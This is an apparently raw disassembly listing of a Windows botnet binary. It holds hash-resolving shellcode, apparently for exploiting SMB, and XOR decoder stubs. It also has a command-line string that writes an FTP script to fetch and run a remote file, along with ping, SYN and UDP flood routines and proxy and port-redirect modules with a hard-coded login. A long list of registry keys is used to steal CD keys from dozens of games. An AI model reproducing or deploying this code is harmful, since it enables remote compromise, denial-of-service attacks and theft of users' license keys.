aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424126o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042406Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424840+BDo
		align 10h
dword_444840	dd 10FF8h, 0	dword_444848	dd 10FF8h	dword_44484C	dd 7FFDF020h, 0	dword_444854	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448DC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_44490C	dd 0		dword_444910	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_444918	proc near		; DATA XREF: sub_425020+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_444A14
		push	dword ptr [esi]
		push	63D61209h
		call	sub_444A2A
		mov	[esi+8], eax
		call	sub_4449DD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_444A2A
		mov	[esi+0Ch], eax
		call	sub_44498F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_444A2A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_444918	endp


; =============== S U B	R O U T	I N E =======================================



sub_44498F	proc near		; CODE XREF: sub_444918+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4449B8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44498F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449B8	proc near		; CODE XREF: sub_44498F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4449C7:				; CODE XREF: sub_4449B8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4449D4
		inc	ebx
		jmp	short loc_4449C7
; ---------------------------------------------------------------------------


loc_4449D4:				; CODE XREF: sub_4449B8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4449B8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449DD	proc near		; CODE XREF: sub_444918+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449F5:				; CODE XREF: sub_4449DD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449FD
		mov	ecx, [ecx]
		jmp	short loc_4449F5
; ---------------------------------------------------------------------------


loc_4449FD:				; CODE XREF: sub_4449DD+1Aj
		mov	edx, edi


loc_4449FF:				; CODE XREF: sub_4449DD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_444A09
		mov	edx, [edx+4]
		jmp	short loc_4449FF
; ---------------------------------------------------------------------------


loc_444A09:				; CODE XREF: sub_4449DD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4449DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A14	proc near		; CODE XREF: sub_444918+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_444A14	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A2A	proc near		; CODE XREF: sub_444918+16p
					; sub_444918+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A40:				; CODE XREF: sub_444A2A+33j
		jecxz	short loc_444A7A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A4D:				; CODE XREF: sub_444A2A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A59
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A4D
; ---------------------------------------------------------------------------


loc_444A59:				; CODE XREF: sub_444A2A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A40
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A7A:				; CODE XREF: sub_444A2A:loc_444A40j
					; sub_444A2A:loc_444A7Aj
		jmp	short loc_444A7A
sub_444A2A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A80	proc near		; DATA XREF: sub_425020+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444AD2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A9D:				; CODE XREF: sub_444A80+38j
		jecxz	short loc_444ACD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444AA8:				; CODE XREF: sub_444A80+32j
		lodsb
		test	al, al
		jz	short loc_444AB4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444AA8
; ---------------------------------------------------------------------------


loc_444AB4:				; CODE XREF: sub_444A80+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A9D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444ACD:				; CODE XREF: sub_444A80:loc_444A9Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A80	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AD2	proc near		; CODE XREF: sub_444A80+7p

; FUNCTION CHUNK AT 00444B0A SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444AEB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AF6
; ---------------------------------------------------------------------------


loc_444AEB:				; CODE XREF: sub_444AD2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AF6:				; CODE XREF: sub_444AD2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444B0A
sub_444AD2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AFD	proc near		; CODE XREF: sub_444AD2:loc_444B0Ap
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AFD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444AD2


loc_444B0A:				; CODE XREF: sub_444AD2+29j
		call	sub_444AFD
; END OF FUNCTION CHUNK	FOR sub_444AD2
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444BA4	dd 23h		dword_444BA8	dd 60h		dword_444BAC	dd 62B0606h, 2050501h, 0A0hdword_444BB8	dd 0A1h		dword_444BBC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424840+16Do
		align 4


loc_444BC8:				; DATA XREF: sub_424840+100o
		jmp	short near ptr dword_444BD0
; ---------------------------------------------------------------------------
		align 10h
dword_444BD0	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425020+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C78:				; DATA XREF: sub_4254E0+CCo
		jmp	short loc_444C7C
; ---------------------------------------------------------------------------


loc_444C7A:				; CODE XREF: ___:loc_444C7Cp
		jmp	short loc_444C81
; ---------------------------------------------------------------------------


loc_444C7C:				; CODE XREF: ___:loc_444C78j
		call	loc_444C7A


loc_444C81:				; CODE XREF: ___:loc_444C7Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C86	dw 0FFFFh		; DATA XREF: sub_4254E0+D3w
		db 80h,	73h, 0Eh
byte_444C8B	db 0FFh			; DATA XREF: sub_4254E0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C90:				; DATA XREF: sub_4254E0+A7o
		jmp	short loc_444C94
; ---------------------------------------------------------------------------


loc_444C92:				; CODE XREF: ___:loc_444C94p
		jmp	short loc_444C99
; ---------------------------------------------------------------------------


loc_444C94:				; CODE XREF: ___:loc_444C90j
		call	loc_444C92


loc_444C99:				; CODE XREF: ___:loc_444C92j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C9D	db 0FFh			; DATA XREF: sub_4254E0+AEw
		dw 7380h
		db 0Ch
byte_444CA1	db 0FFh			; DATA XREF: sub_4254E0+B4w
		dw 0E243h
		dd 0F9h
dword_444CA8	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425270+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444D0C	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444D1C	dd 74656720h	byte_444D20	db 20h			; DATA XREF: sub_425270+A2r
dword_444D21	dd 0E8006A00h	dword_444D25	dd 17h							; sub_425270+D2r
dword_444D29	dd 0E8C30175h	dword_444D2D	dd 1							; sub_425270+E7r
byte_444D31	db 0, 6Ah, 0		; DATA XREF: sub_425270+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444D3B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi	; free
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_426450+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4266A0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426820+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426820+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426820+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426820+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_4269A0+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426EB0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427590+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_427650+C0o
		align 10h
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
		align 10h
off_444F40	dd offset byte_455247	; DATA XREF: sub_427DC0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4282C0+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
					; sub_4282C0+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
					; sub_4282C0+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_4282C0+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_4282C0+961o
		align 8
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_4282C0+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_4282C0:loc_42886Bo
					; sub_4282C0+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
		align 10h
asc_445230	db 0Dh,0Ah,0		; DATA XREF: sub_4282C0+46Co
					; sub_4282C0+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_4282C0+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4282C0+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_4282C0+1CDo
		align 8
off_445258	dd offset byte_544547	; DATA XREF: sub_4282C0+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_4299C0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D00+22o
					; sub_42A090+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
		align 10h
		dd 2 dup(0)
dword_445338	dd 1000005h, 0	dword_445340	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B880+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B880+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C435o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C3C1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:00445408o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 8
aCalloc		db 'calloc',0
		align 10h
aSetsockopt	db 'setsockopt',0
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C810+49o
					; sub_42C810:loc_42C8CDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CC50:loc_42CDECo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D0D0+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D0D0+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
		align 10h
		dd 0
dword_4454E4	dd 524F5453h	byte_4454E8	db 0			; DATA XREF: sub_42D2C0+EDr
		align 4
dword_4454EC	dd 52544552h	byte_4454F0	db 0			; DATA XREF: sub_42D2C0+D3r
		align 4
dword_4454F4	dd 5453494Ch	byte_4454F8	db 0			; DATA XREF: sub_42D2C0+B8r
		align 4
dword_4454FC	dd 54534C4Eh	byte_445500	db 0			; DATA XREF: sub_42D2C0+9Er
		align 4
dword_445504	dd 45505954h, 632520h, 0					; ___:0042E6CAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D2C0+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 10h
aGetsockname	db 'getsockname',0
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D580+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DE20+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E0DEo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E13Do
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E1CEo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E24Eo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E2A7o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E2FEo
		align 4
off_4456BC	dd offset aInterlockedcom ; DATA XREF: ___:0042E35Do
					; "InterlockedCompareExchange"
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E400:loc_42E581o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E400+125o
		align 4
		dd 0
word_4456FC	dw 77h			; DATA XREF: sub_42E400+1Fr
		align 10h
dword_445700	dd 25206425h, 64hdword_445708	dd 455A4953h, 732520h, 0dword_445714	dd 4D54444Dh, 732520h, 0dword_445720	dd 4F544E52h, 732520h, 0dword_44572C	dd 52464E52h, 732520h, 0dword_445738	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EA40+10o
		align 4
dword_44574C	dd 1							; sub_430460+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431280+13o
					; ___:off_4456BCo
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431280+6o
		align 10h
aA_0:					; DATA XREF: sub_433A20+36o
		unicode	0, <€>,0
		dd 13h dup(0)
		dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 4468A4h, 446F70h,	446870h, 80000002h, 446810h
		dd 446F70h, 4467E0h, 80000002h,	446788h, 446F70h, 446764h
		dd 80000002h, 44671Ch, 446F70h,	446704h, 80000002h, 4466C0h
		dd 446F70h, 446698h, 80000002h,	44665Ch, 446F70h, 446628h
		dd 80000002h, 4465C8h, 446F70h,	44659Ch, 80000002h, 446578h
		dd 446570h, 446544h, 80000002h,	44651Ch, 446570h, 446504h
		dd 80000001h, 4464D4h, 4464D0h,	4464C0h, 80000002h, 446484h
		dd 446F70h, 446474h, 80000002h,	446438h, 446F70h, 446424h
		dd 80000002h, 4463DCh, 446F70h,	4463C0h, 80000002h, 44637Ch
		dd 446F70h, 446360h, 80000001h,	446338h, 4464D0h, 446328h
		dd 80000001h, 446300h, 4464D0h,	4462E0h, 80000002h, 4462A4h
		dd 4462A0h, 446284h, 80000002h,	446260h, 446258h, 446240h
		dd 80000001h, 446214h, 44620Ch,	4461E8h, 80000002h, 44619Ch
		dd 446F70h, 446174h, 80000002h,	446120h, 446F70h, 4460E8h
		dd 80000002h, 446084h, 446F70h,	446050h, 80000002h, 445FF0h
		dd 446F70h, 445FD4h, 80000002h,	445F8Ch, 446F70h, 445F70h
		dd 80000002h, 445F28h, 446F70h,	445F18h, 80000002h, 445EDCh
		dd 446F70h, 445ECCh, 80000002h,	445E90h, 446F70h, 445E68h
		dd 80000002h, 445E14h, 446F70h,	445DECh, 80000002h, 445D9Ch
		dd 446F70h, 445D80h, 80000002h,	445D58h, 4464D0h, 445D44h
		dd 80000002h, 445D0Ch, 446F70h,	445CDCh, 80000002h, 445C84h
		dd 446F70h, 445C68h, 80000001h,	445C18h, 445C10h, 445BF4h
		dd 80000002h, 445BB0h, 445BA4h,	445B8Ch, 80000001h, 445B5Ch
		dd 445B50h, 445B30h, 80000002h,	445AF4h, 445C10h, 445AD4h
		dd 80000002h, 445A98h, 445C10h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
